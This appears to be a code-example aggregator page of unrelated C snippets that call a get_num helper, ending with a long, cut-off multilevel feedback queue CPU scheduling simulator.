int
get_sem_fd(void)
{
	int i;
	int num;
	do
	{		
		printf("Ingrese el numero de semaforo\n");
		for (i = 0; i< MAX_SEM ; i++)
		{
			if ( sem_array[i] != SEM_FAILED )
				printf("%d - %s\n", i, sem_name[i]);
			else
				printf("%d - EMPTY\n", i);
		}
			
		get_num(&num);
	}while(num < 0 || num > MAX_SEM);
	return num;

}
Beispiel #2
0
void sort_list()
{
   struct node *ptr = head;
   struct node *new_ptr = (struct node*)malloc(sizeof(struct node));
   new_ptr->number = get_num();

   while(ptr->next != NULL) {
      if(new_ptr->number < head->number) {
	 new_ptr->next = head;
	 head = new_ptr;
	 return;
      } else if(new_ptr->number < (ptr->next)->number) {
	 new_ptr->next = ptr->next;
	 ptr->next = new_ptr;
	 return;
      }
      ptr = ptr->next;
   }
   new_ptr->next = NULL;
   ptr->next = new_ptr;
}
Beispiel #3
0
int main()
{

    unsigned evenCnt = 0, oddCnt = 0;
    int digit = get_num() % 10;
    switch (digit) {
        //case 1, 3, 5, 7, 9:                     // WRONG
        case 1: case 3: case 5: case 7: case 9:   // FIX
            //oddcnt++;  // WRONG
            oddCnt++;    // FIX
            break;
        //case 2, 4, 6, 8, 10:                    // WRONG
        case 2: case 4: case 6: case 8: case 10:  // FIX
            //evencnt++;  // WRONG
            evenCnt++;    // FIX
            break;
        default:       // It is also better to specify a default label, see top
            break;     // of page 182.
    }

}
Beispiel #4
0
int main(int argc, const char *argv[])
{
    int counter = 0;
    int i;

	STU *head = NULL;

//	head = create_link(10);
	print_link(head);

    for (i = 0; i < 5; i++) 
    {
        head = add_node(head);
    }
    print_link(head);
    
    counter = get_num(head);
    printf("counter = %d\n",counter);

	return 0;
}//const 禁止修改内容
static int emi_process_argument(const char *arg, int len)
{
	int ret;

	if (len < 7)
		return -1;

	if ((strncmp(arg, "latency", 7) == 0) &&
		(arg[7] == ':') &&
		(len > 8)) {
		ret = get_num(&(arg[8]), &latency_master);
		if (ret == 0)
			return -1;
		if (check_master_valid(latency_master) != MET_EMI_SUCCESS)
			return -1;
		met_emi.mode = 2;
	} else {
		return -1;
	}

	return 0;
}
Beispiel #6
0
t_data	*get_adress(t_glob *g, char *name)
{
	t_temp_list *node;
	char		**stuff;

	if (g->tmp == NULL)
		node = g->data;
	else
		node = g->tmp;
	while (node->next != NULL)
	{
		if (ft_strchr(node->str, '-') != NULL)
		{
			g->tmp = node->next;
			stuff = ft_strsplit(node->str, '-');
			if (ft_strcmp(stuff[0], name) == 0)
				return (g->rooms[get_num(stuff[1], g)]);
		}
		node = node->next;
	}
	return (NULL);
}
Beispiel #7
0
/* データの削除 */
int del(void)
{
	int i, h;
	struct character *current_addr,*head,*target;
	int point;
	disp();
	printf("NO=");
	point = get_num();
	h = hash(point);
	if ( HashTable[h] != NULL && HashTable[h] != DELETED ) {
		head = HashTable[h];
		if ( head->no == point ) {
			if ( head->next_addr == NULL ) {
				HashTable[h] = DELETED;
			} else {
				HashTable[h] = head->next_addr;
			}

			disp();
			return 0;
		} else {
			current_addr = head;
			target = head->next_addr;
			while ( target != NULL ) {
				if ( target->no == point ) {
					current_addr->next_addr = target->next_addr;
					disp();
					return 0;
				}
				target = current_addr;
				current_addr = current_addr->next_addr;
			}
		}
	}

	printf("NOT FOUND.\n");
	return ERROR;
}
int
main(int argc, char *argv[])
{
	int opt;
	int hasEnded = 0;
	int i;

	for (i=0; i < MAX_SEM; i++)
		sem_array[i] = SEM_FAILED;

	while ( !hasEnded )
	{
		printf("Escriba la opcion deseada\n1 - OPEN\t2 - WAIT\t3 - POST\t4 - CLOSE\n");
		printf(				  "5 - UNLINK\t6 - GETVALUE\t7 - TRYWAIT\t8 - INIT\n");
		printf(				  "9 - DESTROY\t10 - FREE SPACE\n");
		if ( get_num(&opt) == -1 )
		{
			hasEnded = 1;
			continue;
		}
		
		putchar('\n');
		switch (opt)
		{
			case 1: m_open(); break;
			case 2: m_wait(); break;
			case 3: m_post(); break;
			case 4: m_close(); break;
			case 5: m_unlink(); break;
			case 6: m_getvalue(); break;
			case 7: m_trywait(); break;
			case 8: m_sem_init(); break;
			case 9: m_destroy(); break;
			case 10: free_space(); break;
			default: printf("Opcion invalida\n");
		}
	}
}
Beispiel #9
0
tm_obj stream_read( tm_vm* tm, tm_obj params){
	int len = list_len( params );
	tm_obj fp_ = get_arg( params, 0, TM_STREAM);
	int rest_len = 0;
	FILE* fp = get_file(fp_);
	if( len == 1){
		rest_len = _get_file_rest_len( fp );
		fseek(fp, 0, SEEK_END);
	}else if( len == 2){
		tm_obj size = get_arg( params, 1, TM_NUM);
		int v = (int) get_num( size );
		rest_len = _get_file_rest_len( fp );
		if( rest_len > v ){
			rest_len = v;
		}
	}else {
		tm_raise("stream_read: too many arguments");
	}
	tm_obj des = str_new(NULL, rest_len);
	char* s = get_str(des);
	fread(s, rest_len, 1, fp );
	return des;
}
Beispiel #10
0
int main()
{
    Tree p = NULL;
    int i = 0;
    gets(input);
    //puts(input);
    length = strlen(input);
    get_in();
    get_num();
    //get_in(len);
    /*for(i = 0; i < len; i++){
        printf("%d\n", num[i]);
    }*/
    p = (Tree)malloc(sizeof(Node));
    build(0, len-1, p);
    /*printf("%d\n", p->data);
    printf("%d\n", p->lchild->data);
    printf("%d\n", p->rchild->data);
    printf("%d", p->lchild->lchild->data);*/
    visit(p);


    return 0;
}
Beispiel #11
0
/* データの探索 */
int search(void)
{
	int i, h;
	struct character *current_addr,*head,*target;
	int point;
	printf("NO=");
	point = get_num();
	h = hash(point);
	head = HashTable[h];

	if ( HashTable[h] != NULL && HashTable[h] != DELETED ) {
		if ( head->no == point ) {
			printf("探索キー%dに対応するデータは%sです.\n", point, head->name);
			dispChar( h, head );
			printf("********************************************\n\n");
			disp();

			return 0;
		} else {
			current_addr = head->next_addr;
			while ( current_addr != NULL ) {
				if ( current_addr->no == point ) {
					printf("探索キー%dに対応するデータは%sです.\n", point, head->name);
					dispChar( h, head );
					printf("\n********************************************\n\n");
					disp();
					
					return 0;
				}
			}
		}
	}

	printf("NOT FOUND.\n");
	return ERROR;
}
Beispiel #12
0
int		dig(t_m *m, char buf[MAX])
{
	int		ret;
	char	*tmp;
	t_num	n;

	get_base(m, &n);
	m->place->flags |= (m->place->type == 2 ? HASH : 0);
	get_num(m, &n);
	if (m->place->precision == 0 &&
			!ft_strncmp(n.b_conv, "0", 1) &&
			!(n.base == 8 && (m->place->flags & HASH)))
	{
		tmp = ft_strnew(m->place->width);
		ft_memset(tmp, ' ', m->place->width);
		ret = replace(m, buf, tmp);
		ft_memdel((void**)&tmp);
		return (ret);
	}
	num_prcs(&n, m->place->precision);
	num_wdth(m, &n, m->place->width, m->place->flags);
	flags(m, &n);
	return (replace(m, buf, n.b_conv));
}
Beispiel #13
0
int do_switches (int argc, const char **argv)
{
	int		i;
	const char	*cp;

	progname = argv [0];
	for (i = 1; i < argc; i++) {
		cp = argv [i];
		if (*cp++ != '-')
			break;

		while (*cp) {
			switch (*cp++) {
				case 'r':
					writer = 0;
					break;
				case 'w':
					writer = 1;
					break;
				case 's':
					INC_ARG()
					if (!get_num (&cp, &data_size, 1, MAX_DSIZE))
						usage ();
					break;
				case 'm':
					INC_ARG()
					if (!data_size ||
					    !get_num (&cp, &max_size, data_size + 1, MAX_DSIZE))
						usage ();
					break;
				case 'n':
					INC_ARG()
					if (!get_num (&cp, &count, 0, ~0))
						usage ();
					break;
				case 'f':
					sleep_time = 0;
					break;
				case 'd':
					INC_ARG()
					if (!get_num (&cp, &sleep_time, 10, 10000))
						usage ();
					break;
				case 'p':
					pause_traffic = 1;
					break;
				case 'q':
					quit_done = 1;
					break;
				case 't':
					trace = 1;
					break;
				case 'v':
					verbose = 1;
					if (*cp == 'v') {
						verbose = 2;
						cp++;
					}
					break;
				default:
					usage ();
				break;
			}
		}
	}
	return (i);
}
Beispiel #14
0
/*
 * Simulates a multilevel feedback queue cpu scheduling algorithm
 * TODO Update the file parsing to be smarter and provide documentation
 */
int main(int argc, char** argv) {
    const int FIELD_LENGTH = 1024; //Default string allocation
    char line[FIELD_LENGTH]; //Buffer for line reading of master file
    char* sub_out; //Output of substring checks for certain fields
    int read_T1 = 0; //0 if T1 hasnt been read yet
    int read_T2 = 0; //0 if T2 hasnt been read yet
    int T1, T2; //Time Quantums
    int processCount = 0; //Number of processes read from the file
    int processCompleted = 0; //Counter for number of process completed
    Queue* futureProcesses = new_queue(0); //Queue of all the processes that havent technically been submitted yet
    Queue* completed = new_queue(-1); //Queue of all completed processes, for output of averaging at the end

    int i;
    //Open the file passed in as the only argument to the program
    FILE* master_file = fopen(argv[1], "rt");
    if (master_file == 0) {
        fprintf(stderr, "Failed to open %s\n", argv[1]);
        exit(1);
    }

    //Open output file for logging functions of the simulator
    FILE* out_file = fopen("cpu_output.txt", "w");
    fprintf(out_file, "############################################################\n");
    fprintf(out_file, "Logging for Multi-Level Queue Scheduling Simulation Started!\n");
    fprintf(out_file, "############################################################\n\n");

    //Read in the file and create necessary process objects
    if (master_file != NULL) {
        //Read line by line to get T1 and T2
        while (fgets(line, FIELD_LENGTH, master_file) != NULL) {
            if (strcmp(line, "\n") == 0) {
                //SKIP NEW LINES IN THE FILE
            } else {
                //Change the line to all lowercase
                array_to_lower(line);

                //Read in TQ#1 and TQ#2
                if (!read_T1) {
                    sub_out = strstr(line, "time quantum 1:");
                    if (sub_out != NULL) {
                        read_T1 = 1;
                        T1 = get_num(sub_out);
                    }
                } else if (!read_T2) {
                    sub_out = strstr(line, "time quantum 2:");
                    if (sub_out != NULL) {
                        read_T2 = 1;
                        T2 = get_num(sub_out);
                        break;
                    }
                }
            }
        }
        //Initialize a CPU
        CPU* cpu = new_cpu(T1, T2);

        //Read in the rest of the file and create all processes and their associated bursts
        while (fgets(line, FIELD_LENGTH, master_file) != NULL) {
            if (strcmp(line, "\n") == 0) {
                //SKIP NEW LINES IN THE FILE
            } else {
                //Change the line to all lowercase
                array_to_lower(line);
                Process* end = get_end(futureProcesses);

                //Get the process id and create a new process for it
                sub_out = strstr(line, "process id:");
                if (sub_out != NULL) {
                    int id = get_num(sub_out);
                    Process* process = new_process(id);
                    if (end != NULL) {
                        end->next = process;
                    } else {
                        futureProcesses->processes = process;
                    }
                    processCount++;
                }

                //Get the arrival time of the most recently created process
                sub_out = strstr(line, "arrival time:");
                if (sub_out != NULL) {
                    int arrival = get_num(sub_out);
                    end->arrival_time = arrival;
                }

                //Create a cpu burst of the recently created process
                sub_out = strstr(line, "cpu burst:");
                if (sub_out != NULL) {
                    int length = get_num(sub_out);
                    Burst* cpu_burst = new_cpu_burst(length);
                    Burst* burst_end = get_last_burst(end);
                    if (burst_end != NULL) {
                        burst_end->next_burst = cpu_burst;
                    } else {
                        end->bursts = cpu_burst;
                    }
                }

                //Create a i/o burst for the recently created process
                sub_out = strstr(line, "i/o burst:");
                if (sub_out != NULL) {
                    int length = get_num(sub_out);
                    Burst* io_burst = new_io_burst(length);
                    Burst* burst_end = get_last_burst(end);
                    if (burst_end != NULL) {
                        burst_end->next_burst = io_burst;
                    } else {
                        end->bursts = io_burst;
                    }
                }

                //Set the device id for the recently created i/o burst
                sub_out = strstr(line, "i/o device id:");
                if (sub_out != NULL) {
                    int id = get_num(sub_out);
                    Burst* burst_end = get_last_burst(end);
                    if (burst_end != NULL) {
                        burst_end->device_num = id;
                    } else {
                        end->bursts->device_num = id;
                    }
                }
            }
        }
        fclose(master_file);

        //Handle if no processes are read in
        if (processCount == 0) {
            fclose(out_file);
            fprintf(stderr, "Zero processes were read in.\nThis could be correct or an error in the format of the input file.\nPlease verify that the input file is formatted correctly. \n");
            exit(1);
        }

        //Run the simulation of the cpu until all processes have been completed
        while (processCompleted < processCount) {

            //Go through the list of processes that havent arrived yet
            Process* tempProc = futureProcesses->processes;
            Process* lastTemp = NULL;
            while (tempProc != NULL) {
                if (tempProc->arrival_time == cpu->time) {
                    //Create a copy of the process to move to the cpu
                    Process* moved = copy_process(tempProc);
                    fprintf(out_file, "Time: %-5d\tProcess#%d Arrived\n", cpu->time, moved->id);

                    if (moved->bursts->type == 1) { //Initial burst is cpu
                        printf("NEW PROCESS CPU FIRST\n");
                        fprintf(out_file, "Time: %-5d\tInitial burst of Process#%d is a CPU burst\n", cpu->time, moved->id);
                        if (cpu->idle == 1) { //If nothing is running on the cpu
                            fprintf(out_file, "Time: %-5d\tCPU was found to be idle, running process on CPU\n", cpu->time);
                            moved->state = 1;
                            cpu->current_process = moved;
                            cpu->idle = 0;
                            cpu->queue = 1;
                            printQueues(out_file, cpu);
                        } else { //If cpu is occupied put new process in Q1
                            fprintf(out_file, "Time: %-5d\tCPU was found to be busy, putting process in Q1\n", cpu->time);
                            Process* end = get_end(cpu->Q1);
                            moved->state = 2;
                            if (end != NULL) { //If Stuff is already in Q1
                                end->next = moved;
                            } else { //If nothing is in Q1
                                cpu->Q1->processes = moved;
                                cpu->Q1->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        }
                    } else { //Initial burst is I/O
                        printf("NEW PROCESS I/O FIRST\n");
                        Burst* i_burst = moved->bursts;
                        int device = i_burst->device_num;
                        IODevice* devQ;
                        switch (device) {
                            case 1: //Next burst is on D1
                                devQ = cpu->D1;
                                break;
                            case 2: //Next burst is on D2
                                devQ = cpu->D2;
                                break;
                            case 3: //Next burst is on D3
                                devQ = cpu->D3;
                                break;
                            case 4: //Next burst is on D4
                                devQ = cpu->D4;
                                break;
                            case 5: //Next burst is on D5
                                devQ = cpu->D5;
                                break;
                        }
                        //Move the process to the correct i/o device
                        fprintf(out_file, "Time: %-5d\tInitial burst of Process#%d is a I/O burst on device %d\n", cpu->time, cpu->current_process->id, devQ->id);
                        Process* io_end = get_io_proc_end(devQ);
                        if (io_end != NULL) {
                            io_end->next = moved;
                        } else {
                            fprintf(out_file, "Time: %-5d\tProcess#%d running on I/O Device Queue %d\n", cpu->time, cpu->current_process->id, devQ->id);
                            devQ->processes = moved;
                        }
                        printQueues(out_file, cpu);
                    }

                    //Remove the process from futureProcesses
                    if (lastTemp != NULL) { //This wasnt the first 
                        lastTemp->next = tempProc->next;
                        tempProc = lastTemp->next;
                    } else { //Process was the first or only in future list
                        futureProcesses->processes = tempProc->next;
                        tempProc = futureProcesses->processes;
                    }
                } else { //Times not equal get next process in list
                    lastTemp = tempProc;
                    tempProc = tempProc->next;
                }
            }

            //Increment running process time on cpu and decrement its remaining time
            //If remaining time is 0, if last burst move process to completed otherwise move it to correct i/o queue
            if (cpu->idle == 0) {
                printf("CPU NOT IDLE\n");
                Burst* burst = get_next_incomplete_burst(cpu->current_process);
                if (burst != NULL) {
                    printf("NEXT BURST IS NOT NULL\n");
                    burst->time_active++;
                    burst->time_remaining--;
                    if (burst->time_remaining == 0) { //Burst is complete
                        printf("BURST COMPLETE\n");
                        burst->completed = 1;
                        fprintf(out_file, "Time: %-5d\tCPU burst of Process#%d completed\n", cpu->time, cpu->current_process->id);
                        if (burst->next_burst != NULL) {
                            printf("MORE BURSTS\n");
                            int device = burst->next_burst->device_num;
                            IODevice* devQ;
                            switch (device) {
                                case 1: //Next burst is on D1
                                    devQ = cpu->D1;
                                    break;
                                case 2: //Next burst is on D2
                                    devQ = cpu->D2;
                                    break;
                                case 3: //Next burst is on D3
                                    devQ = cpu->D3;
                                    break;
                                case 4: //Next burst is on D4
                                    devQ = cpu->D4;
                                    break;
                                case 5: //Next burst is on D5
                                    devQ = cpu->D5;
                                    break;
                            }
                            //Move the process to the correct i/o device
                            fprintf(out_file, "Time: %-5d\tProcess#%d moved to I/O Device Queue %d\n", cpu->time, cpu->current_process->id, devQ->id);
                            Process* io_end = get_io_proc_end(devQ);
                            cpu->current_process->next = NULL;
                            if (io_end != NULL) {
                                io_end->next = cpu->current_process;
                            } else {
                                fprintf(out_file, "Time: %-5d\tProcess#%d running on I/O Device Queue %d\n", cpu->time, cpu->current_process->id, devQ->id);
                                devQ->processes = cpu->current_process;
                            }
                        } else {
                            printf("PROCESS COMPLETE\n");
                            cpu->current_process->state = 0;
                            fprintf(out_file, "Time: %-5d\tProcess#%d completed. Time waiting for CPU: %d Time waiting for I/O: %d Total completion time: %d\n", cpu->time, cpu->current_process->id, cpu->current_process->waiting_cpu, cpu->current_process->waiting_io, (cpu->time - cpu->current_process->arrival_time));
                            cpu->current_process->completion_t = cpu->time;
                            processCompleted++;
                            Process* end = get_end(completed);
                            if (end != NULL) { //If there are already processes in completed
                                end->next = cpu->current_process;
                            } else { //If this is the first process in completed
                                completed->processes = cpu->current_process;
                            }
                        }
                        //Cpu is empty
                        cpu->current_process = NULL;
                        cpu->idle = 1;
                        cpu->queue = 0;
                        printQueues(out_file, cpu);
                    }
                }
            }


            //Increase cpu wait time for all processes in all 3 queues
            Process* pq1 = get_end(cpu->Q1);
            while (pq1 != NULL) {
                printf("INCREMENTING Q1 WAIT TIMES\n");
                pq1->waiting_cpu++;
                pq1 = pq1->next;
            }
            Process* q2 = get_end(cpu->Q2);
            while (q2 != NULL) {
                printf("INCREMENTING Q2 WAIT TIMES\n");
                q2->waiting_cpu++;
                q2 = q2->next;
            }
            Process* pq3 = get_end(cpu->Q3);
            while (pq3 != NULL) {
                printf("INCREMENTING Q3 WAIT TIMES\n");
                pq3->waiting_cpu++;
                pq3 = pq3->next;
            }

            //For the first process in each device queue decrement time remaining
            //If remaining time is 0, if last burst move process to completed otherwise move it to Q1
            //Increment waiting time of process moved to front of device queue
            Process* pd1 = cpu->D1->processes;
            Process* pd2 = cpu->D2->processes;
            Process* pd3 = cpu->D3->processes;
            Process* pd4 = cpu->D4->processes;
            Process* pd5 = cpu->D5->processes;

            if (pd1 != NULL) { //Handle running process in device 1
                printf("PROCESS IN D1\n");
                Burst* bd1 = get_next_incomplete_burst(pd1);
                if (bd1 != NULL) {
                    printf("D1 PROCESS BURST EXISTS\n");
                    bd1->time_remaining--;
                    if (bd1->time_remaining == 0) {
                        printf("BURST IN D1 FINISHED\n");
                        bd1->completed = 1;
                        fprintf(out_file, "Time: %-5d\tI/O burst of Process#%d completed on device %d\n", cpu->time, pd1->id, bd1->device_num);
                        cpu->D1->processes = pd1->next;
                        if (cpu->D1->processes != NULL) {
                            cpu->D1->processes->waiting_io++;
                            fprintf(out_file, "Time: %-5d\tI/O burst of Process#%d running on device %d\n", cpu->time, pd1->next->id, bd1->device_num);
                        }
                        if (bd1->next_burst != NULL) {
                            printf("MOVING PROCESS FROM D1 to Q1\n");
                            Process* end_q = get_end(cpu->Q1);
                            fprintf(out_file, "Time: %-5d\tMoving Process#%d to Q1\n", cpu->time, pd1->id);
                            pd1->next = NULL;
                            if (end_q != NULL) {
                                end_q->next = pd1;
                            } else {
                                cpu->Q1->processes = pd1;
                                cpu->Q1->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        } else {
                            printf("PROCESS COMPLETED IN D1\n");
                            pd1->state = 0;
                            Process* end_completed = get_end(completed);
                            processCompleted++;
                            pd1->completion_t = cpu->time;
                            fprintf(out_file, "Time: %-5d\tProcess#%d completed. Time waiting for CPU: %d Time waiting for I/O: %d Total completion time: %d\n", cpu->time, pd1->id, pd1->waiting_cpu, pd1->waiting_io, (cpu->time - pd1->arrival_time));
                            if (end_completed != NULL) {
                                end_completed->next = pd1;
                            } else {
                                completed->processes = pd1;
                                completed->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        }
                    }
                }
            }
            if (pd2 != NULL) { //Handle running process in device 2
                printf("PROCESS IN D2\n");
                Burst* bd2 = get_next_incomplete_burst(pd2);
                if (bd2 != NULL) {
                    printf("D2 PROCESS BURST EXISTS\n");
                    bd2->time_remaining--;
                    if (bd2->time_remaining == 0) {
                        printf("BURST IN D2 FINISHED\n");
                        bd2->completed = 1;
                        fprintf(out_file, "Time: %-5d\tI/O burst of Process#%d completed on device %d\n", cpu->time, pd2->id, bd2->device_num);
                        cpu->D2->processes = pd2->next;
                        if (cpu->D1->processes != NULL) {
                            cpu->D2->processes->waiting_io++;
                            fprintf(out_file, "Time: %-5d\tI/O burst of Process#%d running on device %d\n", cpu->time, pd2->next->id, bd2->device_num);
                        }
                        if (bd2->next_burst != NULL) {
                            printf("MOVING PROCESS FROM D2 to Q1\n");
                            Process* end_q = get_end(cpu->Q1);
                            fprintf(out_file, "Time: %-5d\tMoving Process#%d to Q1\n", cpu->time, pd2->id);
                            pd2->next = NULL;
                            if (end_q != NULL) {
                                end_q->next = pd2;
                            } else {
                                cpu->Q1->processes = pd2;
                                cpu->Q1->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        } else {
                            printf("PROCESS COMPLETED IN D2\n");
                            pd2->state = 0;
                            Process* end_completed = get_end(completed);
                            processCompleted++;
                            pd2->completion_t = cpu->time;
                            fprintf(out_file, "Time: %-5d\tProcess#%d completed. Time waiting for CPU: %d Time waiting for I/O: %d Total completion time: %d\n", cpu->time, pd2->id, pd2->waiting_cpu, pd2->waiting_io, (cpu->time - pd2->arrival_time));
                            if (end_completed != NULL) {
                                end_completed->next = pd2;
                            } else {
                                completed->processes = pd2;
                                completed->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        }
                    }
                }
            }
            if (pd3 != NULL) { //Handle running process in device 3
                printf("PROCESS IN D3\n");
                Burst* bd3 = get_next_incomplete_burst(pd3);
                if (bd3 != NULL) {
                    printf("D3 PROCESS BURST EXISTS\n");
                    bd3->time_remaining--;
                    if (bd3->time_remaining == 0) {
                        printf("BURST IN D3 FINISHED\n");
                        bd3->completed = 1;
                        fprintf(out_file, "Time: %-5d\tI/O burst of Process#%d completed on device %d\n", cpu->time, pd3->id, bd3->device_num);
                        cpu->D3->processes = pd3->next;
                        if (cpu->D1->processes != NULL) {
                            cpu->D3->processes->waiting_io++;
                            fprintf(out_file, "Time: %-5d\tI/O burst of Process#%d running on device %d\n", cpu->time, pd3->next->id, bd3->device_num);
                        }
                        if (bd3->next_burst != NULL) {
                            printf("MOVING PROCESS FROM D3 to Q1\n");
                            Process* end_q = get_end(cpu->Q1);
                            fprintf(out_file, "Time: %-5d\tMoving Process#%d to Q1\n", cpu->time, pd3->id);
                            pd3->next = NULL;
                            if (end_q != NULL) {
                                end_q->next = pd3;
                            } else {
                                cpu->Q1->processes = pd3;
                                cpu->Q1->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        } else {
                            printf("PROCESS COMPLETED IN D3\n");
                            pd3->state = 0;
                            Process* end_completed = get_end(completed);
                            processCompleted++;
                            pd3->completion_t = cpu->time;
                            fprintf(out_file, "Time: %-5d\tProcess#%d completed. Time waiting for CPU: %d Time waiting for I/O: %d Total completion time: %d\n", cpu->time, pd3->id, pd3->waiting_cpu, pd3->waiting_io, (cpu->time - pd3->arrival_time));
                            if (end_completed != NULL) {
                                end_completed->next = pd3;
                            } else {
                                completed->processes = pd3;
                                completed->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        }
                    }
                }
            }
            if (pd4 != NULL) {//Handle running process in device 4
                printf("PROCESS IN D4\n");
                Burst* bd4 = get_next_incomplete_burst(pd4);
                if (bd4 != NULL) {
                    printf("D4 PROCESS BURST EXISTS\n");
                    bd4->time_remaining--;
                    if (bd4->time_remaining == 0) {
                        printf("BURST IN D4 FINISHED\n");
                        bd4->completed = 1;
                        fprintf(out_file, "Time: %-5d\tI/O burst of Process#%d completed on device %d\n", cpu->time, pd4->id, bd4->device_num);
                        cpu->D4->processes = pd4->next;
                        if (cpu->D1->processes != NULL) {
                            cpu->D4->processes->waiting_io++;
                            fprintf(out_file, "Time: %-5d\tI/O burst of Process#%d running on device %d\n", cpu->time, pd4->next->id, bd4->device_num);
                        }
                        if (bd4->next_burst != NULL) {
                            printf("MOVING PROCESS FROM D4 to Q1\n");
                            Process* end_q = get_end(cpu->Q1);
                            fprintf(out_file, "Time: %-5d\tMoving Process#%d to Q1\n", cpu->time, pd4->id);
                            pd4->next = NULL;
                            if (end_q != NULL) {
                                end_q->next = pd4;
                            } else {
                                cpu->Q1->processes = pd4;
                                cpu->Q1->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        } else {
                            printf("PROCESS COMPLETED IN D4\n");
                            pd4->state = 0;
                            Process* end_completed = get_end(completed);
                            processCompleted++;
                            pd4->completion_t = cpu->time;
                            fprintf(out_file, "Time: %-5d\tProcess#%d completed. Time waiting for CPU: %d Time waiting for I/O: %d Total completion time: %d\n", cpu->time, pd4->id, pd4->waiting_cpu, pd4->waiting_io, (cpu->time - pd4->arrival_time));
                            if (end_completed != NULL) {
                                end_completed->next = pd4;
                            } else {
                                completed->processes = pd4;
                                completed->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        }
                    }
                }
            }
            if (pd5 != NULL) {//Handle running process in device 5
                printf("PROCESS IN D5\n");
                Burst* bd5 = get_next_incomplete_burst(pd5);
                if (bd5 != NULL) {
                    printf("D5 PROCESS BURST EXISTS\n");
                    bd5->time_remaining--;
                    if (bd5->time_remaining == 0) {
                        printf("BURST IN D5 FINISHED\n");
                        bd5->completed = 1;
                        fprintf(out_file, "Time: %-5d\tI/O burst of Process#%d completed on device %d\n", cpu->time, pd5->id, bd5->device_num);
                        cpu->D5->processes = pd5->next;
                        if (cpu->D1->processes != NULL) {
                            cpu->D5->processes->waiting_io++;
                            fprintf(out_file, "Time: %-5d\tI/O burst of Process#%d running on device %d\n", cpu->time, pd5->next->id, bd5->device_num);
                        }
                        if (bd5->next_burst != NULL) {
                            printf("MOVING PROCESS FROM D5 to Q1\n");
                            Process* end_q = get_end(cpu->Q1);
                            fprintf(out_file, "Time: %-5d\tMoving Process#%d to Q1\n", cpu->time, pd5->id);
                            pd5->next = NULL;
                            if (end_q != NULL) {
                                end_q->next = pd5;
                            } else {
                                cpu->Q1->processes = pd5;
                                cpu->Q1->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        } else {
                            printf("PROCESS COMPLETED IN D5\n");
                            pd5->state = 0;
                            Process* end_completed = get_end(completed);
                            processCompleted++;
                            pd5->completion_t = cpu->time;
                            fprintf(out_file, "Time: %-5d\tProcess#%d completed. Time waiting for CPU: %d Time waiting for I/O: %d Total completion time: %d\n", cpu->time, pd5->id, pd5->waiting_cpu, pd5->waiting_io, (cpu->time - pd5->arrival_time));
                            if (end_completed != NULL) {
                                end_completed->next = pd5;
                            } else {
                                completed->processes = pd5;
                                completed->isEmpty = 0;
                            }
                            printQueues(out_file, cpu);
                        }
                    }
                }
            }

            //Increment the io waiting time for all processes in device queues after the first process in each
            pd1 = cpu->D1->processes;
            pd2 = cpu->D2->processes;
            pd3 = cpu->D3->processes;
            pd4 = cpu->D4->processes;
            pd5 = cpu->D5->processes;
            if (pd1 != NULL) { //Handle device 1
                pd1 = pd1->next;
                while (pd1 != NULL) {
                    printf("Incrementing device 1 waiting\n");
                    pd1->waiting_io++;
                    pd1 = pd1->next;
                }
            }
            if (pd2 != NULL) { //Handle device 2
                pd2 = pd2->next;
                while (pd2 != NULL) {
                    printf("Incrementing device 2 waiting\n");
                    pd2->waiting_io++;
                    pd2 = pd2->next;
                }
            }
            if (pd3 != NULL) { //Handle device 3
                pd3 = pd3->next;
                while (pd3 != NULL) {
                    printf("Incrementing device 3 waiting\n");
                    pd3->waiting_io++;
                    pd3 = pd3->next;
                }
            }
            if (pd4 != NULL) { //Handle device 4
                pd4 = pd4->next;
                while (pd4 != NULL) {
                    printf("Incrementing device 4 waiting\n");
                    pd4->waiting_io++;
                    pd4 = pd4->next;
                }
            }
            if (pd5 != NULL) { //Handle device 5
                pd5 = pd5->next;
                while (pd5 != NULL) {
                    printf("Incrementing device 5 waiting\n");
                    pd5->waiting_io++;
                    pd5 = pd5->next;
                }
            }

            //If cpu is running in Q3
            //Check for other processes with shorter remaining times
            //If there is one move running process to end of Q3
            //Check if Q1 and Q2 are empty, if either isnt free up the cpu and put the running process back into Q3 
            if (cpu->queue == 3 && cpu->current_process != NULL) {
                printf("CPU is in Q3\n");
                if (cpu->Q1->processes != NULL || cpu->Q2->processes != NULL || shortest(cpu->current_process, cpu->Q3) == 0) {
                    printf("PROCESS IN Q3 IS BEING PREEMTED\n");
                    Process* end_que = get_end(cpu->Q3);
                    cpu->current_process->state = 2;
                    fprintf(out_file, "Time: %-5d\tProcess#%d has been moved back into Q3 due to there being a shorter process in Q3 to run or there are processes in Q2 or Q1 that need to be run\n", cpu->time, cpu->current_process->id);

                    if (end_que != NULL) {
                        end_que->next = cpu->current_process;
                    } else {
                        cpu->Q3->processes = cpu->current_process;
                        cpu->Q3->isEmpty = 0;
                    }
                    
                    cpu->current_process = NULL;
                    cpu->idle = 1;
                    cpu->queue = 0;
                    printQueues(out_file, cpu);
                } else {
                    printf("NOTHING IN Q3 PREMTED\n");
                }
            }

            //If cpu is running in Q2
            //If the current process time on cpu > TQ2
            //Move process to Q3 and set cpu to idle
            //If Q1 isnt empty move running process back into Q2, but dont reset its time on the cpu
            if (cpu->queue == 2) {
                printf("CPU is in Q2\n");
                if (get_next_incomplete_burst(cpu->current_process) != NULL && get_next_incomplete_burst(cpu->current_process)->time_active > cpu->TQ2) {
                    //Time ran out for the process move it to Q3
                    printf("TIME RAN OUT FOR PROCESS IN Q2\n");
                    fprintf(out_file, "Time: %-5d\tProcess#%d moved to Q3 for not being able to complete within the Time Quantum of Q2\n", cpu->time, cpu->current_process->id);
                    Process* end_q3 = get_end(cpu->Q3);
                    cpu->current_process->state = 2;
                    if (end_q3 != NULL) {
                        end_q3->next = cpu->current_process;
                    } else {
                        cpu->Q3->processes = cpu->current_process;
                        cpu->Q3->isEmpty = 0;
                    }
                    
                    cpu->current_process = NULL;
                    cpu->idle = 1;
                    cpu->queue = 0;
                    printQueues(out_file, cpu);
                } else if (cpu->Q1->isEmpty == 0) {
